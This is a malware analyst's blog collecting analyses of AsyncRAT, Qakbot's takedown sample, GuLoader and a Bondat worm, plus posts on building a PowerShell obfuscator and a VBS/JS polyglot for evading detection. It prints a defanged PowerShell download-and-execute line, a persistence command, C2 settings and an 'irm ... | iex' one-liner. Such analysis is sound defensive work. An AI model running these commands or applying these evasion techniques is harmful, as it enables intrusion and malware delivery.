# Welcome to 0x.B4DC0.DE

Reverse Engineering / Malware Analysis / Binary Exploitation

### Introduction:

Welcome to my corner of the internet! I'm a passionate malware analyst deeply invested in the world of malware analysis, reverse engineering, and binary exploitation. 0xB4DC0DE is a space for my research findings, learnings, and discoveries in the realm of cybersecurity.

### Check out what I've been up to below&#x20;

{% content-ref url="/pages/aCwnG9toAk3wiCifbAKe" %}
[Newest Posts](/newest-posts)
{% endcontent-ref %}


# Newest Posts

#### Creating a Deobfuscator

Sometimes open source tools don't work on a sample and you have get your hands dirty and do things yourself. This post is about how I went from an unknown sample to being able to identify what family the sample is from and derive IOCs from the sample

{% content-ref url="/pages/yoUkHN9d6W8o25ZQSozX" %}
[Creating a deobfuscator](/malware-writeups/analysis/creating-a-deobfuscator)
{% endcontent-ref %}

#### VBS-JS Polyglot

By abusing vbs and JS comments a psuedo-polyglot can be built to take advantage of how cscript and wscript allow a user to specify a scripting engine from the commandline.

{% content-ref url="/pages/Y4d0Qy1B2d8qFYJtLxmv" %}
[VBS-JS Polyglot](/malware-writeups/development/vbs-js-polyglot)
{% endcontent-ref %}

#### Analyzing GuLoader: Extracting and Deobfuscating PowerShell Payloads

&#x20;This guide outlines how to dissect GuLoader malware by extracting and deobfuscating its PowerShell payloads. It details locating `wscript` calls to extract the initial script and determining substring values for deobfuscation with Python scripts

{% content-ref url="/pages/BrKqRZmyr6ZIjo3cESk5" %}
[GuLoader Script Deobfuscation](/malware-writeups/analysis/guloader-script-deobfuscation)
{% endcontent-ref %}

#### Creating a PowerShell Obfuscator

This method employs several techniques to obfuscate PowerShell payloads, by using XOR encryption, gzipped base64 encoding, and minimal variable usage. It ensures scripts evade detection in PowerShell ISE by encoding input characters with an XOR key, shuffling arrays, and constructing format strings referencing encrypted values.

{% content-ref url="/pages/5eFpCXzWCn0iI6bH6Ujp" %}
[PowerShell Script Block Obfuscation](/malware-writeups/development/powershell-script-block-obfuscation)
{% endcontent-ref %}

**Solving ROP Emporium split**

This challenge, akin to ret2win, demands passing "/bin/cat flag.txt" as an argument to a function rather than the function automatically reading the flag. Using pwndbg and cyclic, the buffer size is determined, followed by the location of specific gadgets using radare2 and ropper to manipulate the program flow and call the desired function. By combining located gadgets, the exploit is crafted to execute "/bin/cat flag.txt," revealing the flag upon script execution.

{% content-ref url="/pages/mrpshXCWvzSphMlxqw0D" %}
[Split](/binary-exploitation/rop-emporium/split)
{% endcontent-ref %}

**Unraveling Quakbot's Demise: Insights from Operation Duck Hunt**

An international coalition, including the FBI, dismantled Quakbot's network, addressing over 700,000 infected hosts. Initial analysis of the Operation Duck Hunt sample revealed vague clues, but meticulous disassembly and debugger use unveiled the shellcode's memory allocation, exposing executable files stored within allocated memory blocks. Deeper investigation into the dumped DLLs and executables provided insights into the sample's timeline and actions, aiding in understanding the takedown's orchestration.

*December 5th 2023*

{% content-ref url="/pages/pnBKgwCOUdHvsD8fTUPS" %}
[Operation Duck Hunt](/malware-writeups/analysis/operation-duck-hunt)
{% endcontent-ref %}

**Solving ROP Emporium ret2win**

This post dives deep into mastering ROP exploits, particularly focusing on the 'ret2win' challenge. It guides readers through using Python and Radare2 to craft and execute a specialized code sequence, successfully retrieving hidden data from 'flag.txt'. A concise and practical guide to conquering ROP challenges.

{% content-ref url="/pages/uM9MQPmk5BPyBopIRUbF" %}
[Ret2Win](/binary-exploitation/rop-emporium/ret2win)
{% endcontent-ref %}

**Exploring AsyncRAT: Dissecting a Multi-Stage Malware**

This detailed post offers an in-depth analysis of a sophisticated malware leveraging AsyncRAT, an open-source Remote Access Tool maintained by NYAN-x-CAT. It delves into the intricate infection chain, starting with a malicious WSF file and progressing through PowerShell scripts, shedding light on the malware's staging, persistence establishment, and its final payload injection into RegSvcs.exe. Through technical breakdowns of downloader, builder, injector, and RAT components, it unveils the obfuscation techniques, anti-analysis checks, and communication methods employed by the malware, providing a comprehensive understanding of its functionalities and threat implications.

{% content-ref url="/pages/Hpeaa6BCFQCh45SOcihJ" %}
[AsyncRAT](/malware-writeups/analysis/asyncrat)
{% endcontent-ref %}


# Hack The Box Updates

<figure><img src="/files/ivTMK7aV6okPqu3HSKNx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/VZq59bhojvUhYA48Yqdw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/JJAGBI4Vv84vswQCFbnN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mSbf8nO524klFsEzSQ8h" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/51KhMSrKH0cHEOwhsKvY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zvIYjxzXVPxVoRiDEEM2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/KMqbcJpU2VYOz1fAgoIk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/tLE7P3ZP9birhaiA1Q4F" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oHQCDH4zZSHyf0TzlSu9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LKWc6WpiwYg83MapuXI5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/VktCfHX0QOuLwE6oYu6u" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/VYzpNdsjmvZNkbFqFesY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Du3htX3mgSbbJcpwbNPr" alt=""><figcaption></figcaption></figure>


# Development


# PowerShell Script Block Obfuscation

### Background

This method was developed to obfuscate a payload behind several gzipped base64 encoded script blocks and XOR encrypted format strings. All while avoiding setting as few variables as possible to prevent someone from running the script in PowerShell ISE and inspecting the variable assignments. The obfuscated script blocks can be ran with arguments and piped to each other.

### Analysis

The initial stage of the obfuscation starts by defining an XOR key and saves the input text characters XORed with the key, allowing for the string to be rebuilt later. Before the string is reassembled both arrays are shuffled the same way and saved. Then, a format string is build referencing the XOR key array and the value to rebuild the character encrypted.&#x20;

<figure><img src="/files/EnDSgV7ktEXM0NlN0kEa" alt=""><figcaption><p>Example first stage obfuscation</p></figcaption></figure>

After the obfuscated string is created the script will gzip and base64 encode the first stage payload and append the PowerShell commands to allow it to decompress and decode from the command line. For a simple string or a command with no arguments the obfuscation can stop here to save space in the final payload.

<figure><img src="/files/oVbYIEWM4spQt07UcC7c" alt=""><figcaption><p>Second stage obfuscation</p></figcaption></figure>

For commands with arguments the script will parse for the commands flags and arguments appending the flags and obfuscating the arguments. Lastly the script will take the built string and re-compress and encode the payload making one gzipped base64 encoded payload.

<figure><img src="/files/Vyuwuc3QVp2Fx0XXOYNx" alt=""><figcaption><p><em>irm -uri 127.0.0.1/test.ps1 | iex</em></p></figcaption></figure>

<figure><img src="/files/Am510LecWkF4e6faiNlM" alt=""><figcaption><p>Reverse shell example</p></figcaption></figure>


# VBS-JS Polyglot

While messing around with some JavaScript and VBS samples I stumbled across cscript's help page. Looking at the output one of the arguments looked very interesting to me, the "//E" option.

<figure><img src="/files/goZI229F9w6UIeZ3eYZx" alt=""><figcaption></figcaption></figure>

When cscript or wscript are run they normally parse the file name to determine what engine to run the file with, for example .js for JavaScript or .vbs for visual basic. But, with the "//E" option this can be skipped and the scripting engine can be passed as an argument.

<div><figure><img src="/files/Gb5Rze1orCMbzMAF21w0" alt=""><figcaption></figcaption></figure> <figure><img src="/files/A9wCgIsahmSmyHLBWFzO" alt=""><figcaption></figcaption></figure></div>

&#x20;This in itself could be very useful for bypassing command line detections looking for a specific extension, but another layer can be added to the script to further extend this technique. By abusing the way JavaScript and VBS handle comments we can create a sortof polyglot, allowing the file to be executed with the JavaScript engine or the VBS engine.

<figure><img src="/files/8p2ALCRQCJcUDovLpmh8" alt=""><figcaption></figcaption></figure>

As you can see the sample's behavior changed from when it was run with the JavaScript engine and the VBS engine. Some ideas that I've had that could use this technique are; a sample that changes what payload is executed based on what engine it is run with, or a sample that can modify itself at execution and change languages at runtime. I created a sample that starts by running in vbs, searches for the JavaScript comment strings, XORs all the bytes in the string with 0x1, replaces them, then executes the next stage, executes calc.exe while deleting itself and it's parent.

<div><figure><img src="/files/zLVz8JvipRlmunLueTUl" alt=""><figcaption></figcaption></figure> <figure><img src="/files/IC2xA3ftTVFTCZdkzQrD" alt=""><figcaption></figcaption></figure></div>

While it's not the most elegant sample, it's sufficent for a proof of concept


# Analysis

Here are the articles in this section:

{% content-ref url="/pages/pnBKgwCOUdHvsD8fTUPS" %}
[Operation Duck Hunt](/malware-writeups/analysis/operation-duck-hunt)
{% endcontent-ref %}

{% content-ref url="/pages/Hpeaa6BCFQCh45SOcihJ" %}
[AsyncRAT](/malware-writeups/analysis/asyncrat)
{% endcontent-ref %}


# AsyncRAT

AsyncRAT Infection Chain Analysis

## Summary

This sample utilizes AsyncRAT to remotely monitor and control the infected host through an encrypted tunnel. AsyncRAT is an open-source Remote Access Tool maintained by [NYAN-x-CAT](https://github.com/NYAN-x-CAT). Features include Keylogger, screen viewer and recorder, SFTP upload and download, and password recovery.

The infection chain used by this sample begins with a WSF file hosted on a malicious URL.

* Once the WSF file is executed it will then connect to another URL to download a malicious PowerShell script.
* This PowerShell script is used by the sample to contact another URL and download a second PowerShell script.
* The second PowerShell script creates a staging directory, scheduled task, and drops four files into the created directory. The four files created by this sample were coinmarketcap.ps1, imcq.ps1, 1.bat, and coinmarketcap.vbs.
* When the scheduled task is triggered, it runs `coinmarketcap.vbs`, which in turn executes `1.bat`. `1.bat` runs `imcq.ps1`, injecting a DLL embedded within itself into `Regsvcs.exe`, and contacts the attackers' C2.

<figure><img src="/files/fnyeZrtg0Wirwhd5Qq0k" alt=""><figcaption><p>The infection chain utilized by this sample</p></figcaption></figure>

***

## Technical Analysis

### Downloader - any.txt

This file is used by the first stage to pull another PowerShell script from a malicious URL and continue the infection chain. The sample uses find and replace alternating capital letters to confuse someone who may be reading the file.

This stage of the sample can be deobfuscated to:

{% code overflow="wrap" %}

```
Set mw_wscript.shell= CreateObject("wscript.shell") mw_wscript.shell.Run(powershell.exe -wind hidden -exec bypass -noni iex(new-object net.webclient.downloadstring hxxps://transfer[.]sh/CdqqbMkRr9/Ic295.jpg , CONSOLE_HIDE, CMD_WAIT Set ali = Nothing
```

{% endcode %}

When this is run it will download the next stage from *hxxps\://transfer\[.]sh/CdqqbMkRr9/Ic295.jpg* and run it with it with PowerShell.

***

### Builder - Ic295.jpg

The purpose of this stage is to setup a staging area for the sample and to establish persistence on the victim's machine. When this stage is executed it will drop four files in the staging area and start running the first files of this stage. The first file that is executed in this stage is coinmarketcap.ps1. This file is responsible for creating the scheduled task on the host to setup persistence on the machine, if the final payload is terminated this scheduled task will re-run the installation process.&#x20;

The scheduled task is run with the command line:

{% code overflow="wrap" %}

```
'schtasks.exe' '/create' '/sc' 'minute' '/mo' 1 '/tn' ''coinmarketcap '/tr' (('C:\Users\Public\coinmarketcap\coinmarketcap.vbs'))
```

{% endcode %}

Once the scheduled task is executed it will then run coinmarketcap.vbs, this stage's responsibility is to run the dropped batch file 1.bat with Wscript.

<figure><img src="/files/56cdOgE5zsiJ3bfVlMKj" alt=""><figcaption><p>contents of coinmarketcap.vbs</p></figcaption></figure>

After the batch file is started it will run the final stage of this stage of this stage.

{% code overflow="wrap" %}

```
CMD /C powershell.exe -NOP -WIND HIDDEN -eXEC BYPASS -NONI "C:\Users\Public\coinmarketcap\imcq.ps1"
```

{% endcode %}

This last PowerShell script is used to build and inject a DLL into the target process RegSvcs.exe.

***

### Injector - NewPE2.dll

```
MD5:	5616daa897af18e81dee80e75eef90cd
SHA256: 3a9096d615a3cd3163b814cc2803d68a627c681d19d3a896313c925b8a11bf4c
Original Name: NewPE2.dll
file-type: dynamic-link-library
Compile Date: 28 FEB 2067 11:16:29
Entropy: 5.789
signature: Microsoft Visual C# / Basic .NET
file-size: 21504 (bytes)
```

#### *Public Class Execute()*

This class takes the arguments path and payload. These arguments are used by the sample to inject the final payload into a target process. In this case, it injects the final payload into RegSvcs.exe.

Sample uses complex math to determine what case to switch to, this behavior is indicative of the malware author employing ConfuserEx to obfuscate the DLL.

<figure><img src="/files/V5jkfFwTkURNLHUvOwx3" alt=""><figcaption><p>Example of control flow flattening</p></figcaption></figure>

#### *Public Class Str()*

This class uses the functions ReverseString() and BinaryToString() to resolve WinAPI calls.

**Function ReverseString()**

This function is used by the sample to reverse the order of an input string.

**Function BinaryToString()**

This function searches for the character "气" and replaces it with a 1 After this replacement is completed, it then converts the string from binary to ASCII.

<figure><img src="/files/hIEp0hXrDs6RdbwW3nEW" alt=""><figcaption><p>Example of a string passed to BinaryToString function</p></figcaption></figure>

***

## RAT - Stub.exe

```
MD5: D7B80F2813A1E85FA33250AF05291468
SHA256: 8830775005D8B9092E216A8AF9EF23AAB6622C1890D0FD425C4D726A03CDFAB0	
Original Name: Stub.exe
File-type: executable
Compile Date: Apr 10 2023
Entropy: 3.913
Signature: Microsoft Visual C# v7.0 / Basic .NET		
File size: 98304 (bytes)
```

### Public Class Settings()

**Function InitalizeSettings()**

This function is used by the sample to decrypt the RAT's configuration and then saves it to a field so it can be used later in the execution.

These are the configuration settings used in this sample:

```
Ports : 7719
Hosts : nationalteams11.publicvm[.]com
Version	: "| CRACKED BY hxxps://t[.]me/xworm_v2"
Install : false
MTX : "AsyncMutex_6SI8OkPnk"
Pastebin: null
Anti : false
offlineKL: false
BDOS : false
Group : Default
Hwid  : null
```

### Public Class main()

When main is run it starts by entering a for loop where the escape condition is determined by the settings field "delay". Inside the loop contains the command Thread.Sleep(1000). This means that this sample will sleep for a total of three seconds before any more code is executed.

<figure><img src="/files/iTn136xrZfUg39FxvjBP" alt=""><figcaption><p>Example of Thread.Sleep()</p></figcaption></figure>

After the delay loop is completed, the sample begins making decisions based on the previously decrypted configuration. It does this by opening up a try-catch block and comparing the settings to a Boolean, if the setting is set to true it will run the function related to that setting.

<figure><img src="/files/9mTL47gmVwhCOWpH4XlI" alt=""><figcaption><p>Try catch block used by main()</p></figcaption></figure>

The first setting this sample checks for is Settings.Anti, this is used to determine if anti-analysis techniques will be utilized. If the configuration has anti-analysis enabled the sample will call the function RunAntiAnalysis().

<figure><img src="/files/NSZ9bs9naBLlaUhzOU6x" alt=""><figcaption><p>Anti-analysis function</p></figcaption></figure>

#### Function RunAntiAnalysis()

When this function is run it will call several other functions to employ different anti-analysis techniques. This sample calls the functions Anti\_Analysis.DetectManufacturer(), Anti\_Analysis.DetectDebugger(), Anti\_Analysis.DetectSandboxie(), Anti\_Analysis.IsSmallDisk(), Anti\_Analysis.IsXP() to attempt to not be analyzed.

The first technique used by the sample is to detect what manufacturer the host is made by. It does this by comparing the strings "microsoft corporation", "VIRTUAL", "vmware", and "VirtualBox". If the sample finds any of these strings it will kill the process.

<figure><img src="/files/U66zQCotmIWNVp9alW4f" alt=""><figcaption><p>Detect Manufacturer function</p></figcaption></figure>

If the sample is unable to find any of these strings it will continue to employ anti-analysis techniques, the next one used is to determine if a debugger is attached to the process.

#### Function DetectDebugger()

If the sample can determine that a debugger is attached to the process it will kill the process, preventing further dynamic analysis from being completed.

<figure><img src="/files/hAdwf8PQNqMeiXdRjtFn" alt=""><figcaption><p>Detect Debugger function</p></figcaption></figure>

#### Function DetectSandboxie()

The next technique used is to detect if the sample is running in a Sandboxie sandbox, it achieves this by attempting to create a handle to the DLL SbieDll.dll. If it can create a handle it will kill the process. [Sandboxie](https://sandboxie-plus.com/) is a sandbox-based isolation software for 32-bit and 64-bit Windows NT-based operating systems.

<figure><img src="/files/N5gOOgD1I07htKHA5hUn" alt=""><figcaption><p>Detect Sandboxie function</p></figcaption></figure>

#### Function IsSmallDisk()

After the sample determines that it's not being run in a sandbox it will try to employ another technique to determine if it's being run in a virtualized environment, it does this by getting the disk's size and compares it to a constant. In this case, it will check if the disk is larger than 61GB.

<figure><img src="/files/rhCnUCYreHZuAdomRRZA" alt=""><figcaption><p>Is Small Disk function</p></figcaption></figure>

#### Function IsXP()

The last technique used to try to evade detection is to determine if the sample is running on a Windows XP machine.

<figure><img src="/files/YCZYj8g5B2PF8PxpUXJ9" alt=""><figcaption><p>Is XP function</p></figcaption></figure>

Once the sample has completed deploying its anti-analysis techniques it will then start to install the RAT on the host and establish more persistence on the host. First, the sample will check if Settings.Install is set to true, if it is it will then call the function NormalStartup.Install().

#### Function NormalStartup.Install()

This function starts by checking to see if the module's file name is the same as the one set in the configuration. In this sample, it's set to "%APPDATA%/python2.09.exe. If they aren't equal the sample will start to enumerate the processes running on the host to check if it is running in another process. If it detects that it's running in another process it will kill the other process.

<figure><img src="/files/3c09Yl5I9lWBRwbgwnS2" alt=""><figcaption><p>Code used to check filename</p></figcaption></figure>

<figure><img src="/files/PiPPLdomu0cUjI8jEHQA" alt=""><figcaption><p>Process enumeration</p></figcaption></figure>

Next, the sample will determine if it is running as an administrator, if it is it will create a scheduled task to run the RAT on logon.

<figure><img src="/files/AVxMpeXVoK2StSBMuHAA" alt=""><figcaption><p>Create schtask if the sample is running as Admin</p></figcaption></figure>

If the sample is not running as an administrator it will create a registry key in "Software\Microsoft\Windows\CurrentVersion\Run and set the value to the name of the executable set in the configuration.

<figure><img src="/files/0lzTNjAlL74TxNYTMSjF" alt=""><figcaption><p>Adding executable to registry</p></figcaption></figure>

Once the sample creates a schtask or registry entry it will then check if the file exists in the path set in the configuration delete it and sleep for 1000ms. After which it will create a file stream with the contents of the file. Once the stream is created a bat file with a random name in the temp directory is set to start the file created with the file stream and then delete the created file. Lastly, it will start a new process with the batch file.

<figure><img src="/files/D6lXOTlU4slzlLPw7A8R" alt=""><figcaption><p>Batch file and process creation.</p></figcaption></figure>

After the sample is installed and establishes persistence on the victim's machine, it will set the thread's state to prevent it from sleeping. Then, it creates a new thread with the function LastAct().

<figure><img src="/files/ZfNqXhAplHAjRqXuiR9q" alt=""><figcaption><p>Thread being started with function LastAct</p></figcaption></figure>

#### Function LastAct()

This function is used to run every 1000ms and get the idle time of the thread

<figure><img src="/files/a2oOKTBF66Fx4ovzlMP6" alt=""><figcaption><p>Function LastAct</p></figcaption></figure>

After this thread is created the sample will check the value of the field Settings.offlineKL, if it's set to true the sample will initialize the built-in keylogger on the host. This sample utilizes LimeLogger, this keylogger is a simple C# keylogger maintained by the RAT's author NYAN-x-CAT.

<figure><img src="/files/8DuIrhd2AmFZrOUTwwrR" alt=""><figcaption><p>Lime logger initialization</p></figcaption></figure>

After the try-catch block is completed an infinite loop is created where the the sample will check if there is a socket connected to this process, if there is the sample will sleep for 5000ms, if there isn't a socket connected the sample will call two functions. The first function called by the loop is ClientSocket.Reconnect().

#### Function ClientSocket.Reconnect()

This function is used by the sample to check if the host has a connection to the C2, it does this by checking if there is an SSL stream established, a TCP socket created, a ping interval set, and a keepAlive packet created. If it does not it will return that it isn't connected.

<figure><img src="/files/1VzJBu2dAa6CWuOWyjYO" alt=""><figcaption></figcaption></figure>

After the status of the connection is checked the sample will call the function ClientSocket.InitializeClient(). This function is responsible for selecting a C2 and creating a connection to that C2.

#### Function ClientSocket.InitializeClient()

When this function is called it will start by creating a new TCP socket. After the socket is created the sample will determine if it is using a pastebin to search for the C2 or a host determined in the configuration.  If the sample is not using a pastebin it will select a random host from the configuration and attempt to connect to it, if the connection fails it will try another host from the configuration.

<figure><img src="/files/t7HIwuVfepoHUUuae2EQ" alt=""><figcaption><p>Client socket creation</p></figcaption></figure>

After the connection with the C2 is created the sample will start sending information about the host and start searching for crypto wallets to steal. It does this by calling the function SendInfo(). This function will send HWID, user, OS, Path, if the process is running as an admin, the active window, the pastebin from the configuration, the antivirus running on the host, and search for other sensitive information on the host and pack it into a zip file to be sent to the C2

<figure><img src="/files/TeyehPCXe9MpWY1Kbu96" alt=""><figcaption><p>Function SendInfo</p></figcaption></figure>


# Operation Duck Hunt

On August 29th, 2023 the Department of justice announced that in a collaborative effort involving France, Germany, the Netherlands, the UK, Romania, Latvia, and the FBI they were able to successfully takedown Quakbot's infrastructure. This operation was able to identify and remediate over 700,000 hosts internationally.

When initially analyzing the sample used in Operation Duck Hunt by the FBI to take down Qakbot, there's a lack of evident signatures to identify the file's nature.

Inspecting the strings within the file provides few useful results. Some identifiable strings resemble WinAPI calls.

<figure><img src="/files/xBolbQsw2mx5LR9L7H4Z" alt=""><figcaption></figcaption></figure>

Opening the file in a hex editor reveals no familiar file headers or information regarding its type.

<figure><img src="/files/qmc6jaiAdX2FZcURzCmz" alt=""><figcaption></figcaption></figure>

Running the file command on the sample classifies it as data. While this alone doesn't offer much insight into how the sample works, when combined with earlier gathered information, theories start forming about its possible nature. Since it contains strings resembling WinAPI calls and is labeled as data by the file command, it's deduced that this sample is somehow executable. However, without a known file header, the host won't be able to execute it.

Understanding that this sample is executable allows us to proceed with analysis. Using cutter to disassemble the sample reveals the mentioned strings being assembled into a memory address. Although the sample itself isn't executable, it hints at how it was deployed. Infected hosts interpreting this file as shellcode start building a list of WinAPI calls to interact with the host.

Rather than manually piecing together the assembly and strings, I opted to run the sample in a debugger and extract assembled strings from there.

<figure><img src="/files/0ciIPTiTHPteBEFzdxLe" alt=""><figcaption></figcaption></figure>

However, attaching it to a debugger presents a challenge. Since the file isn't inherently executable, it requires assistance to run the shellcode. This is where the tool blobrunner, developed by OALabs, comes into play. Blobrunner assists in analyzing shellcode by allocating memory for the target file and jumping to the base (or offset) of the allocated memory.

<figure><img src="/files/xfV5FFfNt0DVzo6R2tK7" alt=""><figcaption></figcaption></figure>

Using x32dbg to run blobrunner with the sample as an argument allowed setting a breakpoint on the first instruction of the shellcode and continuing to step through the sample's execution. Now running in the debugger, a breakpoint can be set on the last instruction that moves text to the stack.

<figure><img src="/files/MeZC8yWyCPrSitjArSJE" alt=""><figcaption></figcaption></figure>

When the breakpoint is reached, the debugger displays the contents of the stack where the strings reside.

<figure><img src="/files/cLeBJemBgUHF6vMRGc8O" alt=""><figcaption></figcaption></figure>

Retrieving the API calls used by the sample aids in understanding its actions, but the primary goal remains dumping the payload to understand its usage further.

Upon examining the built API calls, one string stands out—VirtualAlloc. This indicates the sample will allocate virtual memory during execution and load data into that block. This marks the storage location for the next stage of the sample. Setting a breakpoint at VirtualAlloc's return call pauses execution after the call is completed.

<figure><img src="/files/qJA67iPkHqYcKYtNeP2j" alt=""><figcaption></figcaption></figure>

After the breakpoint is hit, the memory location is returned to the program in the EAX register. Now that the memory location is known, monitoring it reveals what the sample stores within it.

<figure><img src="/files/gWBUhJavmENYmdbWq7i2" alt=""><figcaption></figcaption></figure>

Immediately after the memory allocation, the sample enters a loop to move data into the allocated memory.

<figure><img src="/files/OSDPXd4zm1NHp0f1HEOy" alt=""><figcaption></figcaption></figure>

Upon inspecting the moved data, it becomes apparent that the sample uses the allocated memory to store an executable file, which can be dumped for further analysis in the future. As the sample makes additional calls to VirtualAlloc, the next step involves continuing through the program execution to uncover other data in memory.

<figure><img src="/files/1XJD0MUixTQn9bs5mdsD" alt=""><figcaption></figcaption></figure>

Continuing execution until VirtualAlloc is called again reveals another memory address, containing yet another executable. Further execution yields no more dropped files within memory.

<figure><img src="/files/PAJm3Hou2qOQr19qfuYu" alt=""><figcaption></figcaption></figure>

Now that the DLLs have been dumped, further analysis focuses on understanding how this takedown was orchestrated.

Opening the first executable dropped with pestudio reveals interesting information. The compiler timestamp is August 16th, 02:21:04z, fourteen days before it was released into the wild.

<figure><img src="/files/yddpSQz007f7achhbu7C" alt=""><figcaption></figcaption></figure>

Locating the main function in ghidra through dllmain\_dispatch enables finding the initial function of the DLL as FUN\_10001000. This function starts by attempting to retrieve information about the running account and computer, such as the hostname and volume details. Following this, the sample creates a mutex and then establishes a named pipe using the earlier gathered information.

<figure><img src="/files/ZZJI1lzhvTNsGb498LIk" alt=""><figcaption></figcaption></figure>


# GuLoader Script Deobfuscation

### Stage 1 - VBS

To obtain the second-stage PowerShell script, some manual work is required. Fortunately, breaking down the first stage is relatively straightforward, allowing us to extract the embedded PowerShell script.

GuLoader utilizes `wscript` for interaction with the operating system. The initial step involves locating the variable used to call `wscript`, typically identified by searching for the string "WScript".

<figure><img src="/files/IfBOHNxETQDctsbUjpek" alt=""><figcaption></figcaption></figure>

Once the variable name is identified, another search helps pinpoint where it's utilized. This search should lead to a line resembling the following:

<figure><img src="/files/z3rCOErGJAyl5O2wIrH9" alt=""><figcaption></figcaption></figure>

By modifying this line to output its contents to the command line, we can extract the second-stage script.

<figure><img src="/files/449YHddHuK2IqiXTnoSm" alt=""><figcaption></figcaption></figure>

Running the modified first stage using `cscript` from PowerShell enables dumping of the second stage directly to the command line.

<figure><img src="/files/Uy7rwicPIfKCS5aRfz4C" alt=""><figcaption></figcaption></figure>

### Stage 2 - PowerShell

After dumping the PowerShell payload, the next step is to determine the substring integer needed for the deobfuscation script. This is typically straightforward; at the beginning of the PowerShell script, there's usually a function defined. Inside this function, there's a for loop initialized with a non-zero number, which serves as the substring value for deobfuscating a passed string. In the sample, this number is set to seven.

<figure><img src="/files/KkFRcvJ1FM13ItSZ2dIS" alt=""><figcaption></figcaption></figure>

Once the substring value has been determined it can be configured in the python deobfuscation script.

<figure><img src="/files/BlQz89wztPlpj4f2FR07" alt=""><figcaption></figcaption></figure>

Running the python script drops a deobfuscated version of the PowerShell script in the current working directory.

<figure><img src="/files/Gdqj1Axnno07hjlMuNV1" alt=""><figcaption></figcaption></figure>

### Background information

<table><thead><tr><th width="139">Algorithm</th><th>Value</th></tr></thead><tbody><tr><td>MD5</td><td>a4163c297e14cd940d72f601f04cabbc</td></tr><tr><td>SHA-1</td><td>7be322a6b0571912ded2402cd3ac0b2312fb9c1c</td></tr><tr><td>SHA-256</td><td>c31703fe238a825c2f0edabb1cf130de04f78702c81608f0fa9cc2267e8b44a8</td></tr></tbody></table>

{% embed url="<https://bazaar.abuse.ch/sample/c31703fe238a825c2f0edabb1cf130de04f78702c81608f0fa9cc2267e8b44a8>" %}
Link to sample
{% endembed %}


# Creating a deobfuscator

When searching for samples on MalwareBazaar, I often gravitate towards samples that have no tags so I can emulate a black box approach to whatever sample I download. More often than not, this approach doesn't yield anything too interesting, but sometimes, I stumble across an unconventional sample. This sample was one of the rare ones that didn't follow other samples and implemented its obfuscation differently.

At first glance the sample seems simple, setting a variable to an obviously obfuscated string.

<figure><img src="/files/aMrALBC4bRoCi7vKaC3N" alt=""><figcaption></figcaption></figure>

After the string is defined, some more weird JavaScript antics are done. I don't understand the nuances of JS, so I'm not completely sure what is going on in the next screenshot. But I don't care too much. The only thing I care about is how to dump the next stage for analysis. In this case, the sample's author set "toString" to the sample's payload.

<figure><img src="/files/jYwAaLrR2RXMaqsxgixn" alt=""><figcaption></figcaption></figure>

The next stage can be dumped by changing "toString" to a placeholder variable name, printing the variable with WScript.Echo, and commenting out the last line to prevent the sample from executing

<figure><img src="/files/L9TdbyzgmcOKKTQo5DET" alt=""><figcaption></figcaption></figure>

Running the sample with cscript will dump the next stage to the command line where you can redirect the output to a file to save the next stage for analysis.

<figure><img src="/files/IjYvFfD46H26MiV0rMyE" alt=""><figcaption></figcaption></figure>

After some "beautification", the sample is still very ugly and obfuscated. This is where the true purpose of this post comes out: creating a deobfuscator to turn this mess into something readable (it's still a JS sample, so take "readable" with a grain of salt).

<figure><img src="/files/pBJ6BQWbk3Xywt8UDgDZ" alt=""><figcaption></figcaption></figure>

At a glance a few patterns can identified, the first one looks like a weird take on string concatenation, and the second one features some regex to build a string.

<figure><img src="/files/boQlEbGbNzeZhuggW2kz" alt=""><figcaption><p>String Concatenation</p></figcaption></figure>

<figure><img src="/files/SsCn5vveVYmc8pjM35h7" alt=""><figcaption><p>Regex String</p></figcaption></figure>

The first technique employed uses a ternary operator to determine the character in the string. If the value on the left-hand side is true the first value is set as the next character, and if the value is false the second character is set. The deobfuscator script I wrote searches for these strings using regex to find strings that start with a parenthesis followed by two to three numbers, a space, any character 20 - 28 times, then ending with "). This allows us to evaluate the expression, determine its output, and replace the obfuscated character with its deobfuscated counterpart. While looking at the sample I noticed that the expression is always true, so I took a shortcut when writing the deobfuscator and simply cut the first character and replaced it instead of evaluating the expression from Python.

<figure><img src="/files/2ZAH3AgxgjmA86ONy3p5" alt=""><figcaption></figcaption></figure>

The next technique wasn't nearly as simple to implement, requiring me to extract the string and the regex with regex. This can be broken down into two steps, finding double quote strings, then combining that with searching for "\[replace]" and extracting the string after it. After that is done, the extracted regex can be used against the string and replaced to make the sample readable.

<figure><img src="/files/2ZRiH3UXNDizttONdIWQ" alt=""><figcaption></figcaption></figure>

This alone left some strings using this method untouched, the author implemented another layer on some of the strings. This layer used a bunch of different methods to derive the string. But, when complete they all resolve to "replace". This can be verified by creating a quick test in JS to print out one of the strings. Knowing this more regex can be used to locate large strings contained within braces

<figure><img src="/files/82oMwjTcsyXJdQNwsN4T" alt=""><figcaption><p>Obfuscated Strings</p></figcaption></figure>

<figure><img src="/files/HDyIwK22Gyis2iIcCw2o" alt=""><figcaption><p>Test Script</p></figcaption></figure>

<figure><img src="/files/7Q5b0shHFMzeT4FturFl" alt=""><figcaption><p>Test Output</p></figcaption></figure>

<figure><img src="/files/qEvea1SMFpIQZXSAbrAH" alt=""><figcaption></figcaption></figure>

After all this is completed some extra cleaning is done to make the deobfuscated sample easier to read, such as removing string concatenation and removing excessive newlines. Once deobfuscated some domain names and other IOCs become apparent, searching these domains lets us identify the sample's family. This sample belongs to the bondat worm family, with very few posts about the family which I think is interesting. The sample has some anti-analysis techniques baked in and a method to self-propagate through removable media. This is the first real worm I've ever analyzed so it's pretty cool to see in a random sample from Malware Bazaar. Shoutout to <https://blog.360totalsecurity.com/en/bondat-worm-struck-again-built-botnets-for-mining-cryptocurrency-and-attacking-wordpress/> for being one of the only technical writeups on the family.

<figure><img src="/files/YjVIWouueM3Lc6hFGbNH" alt=""><figcaption><p>Worm stuff</p></figcaption></figure>

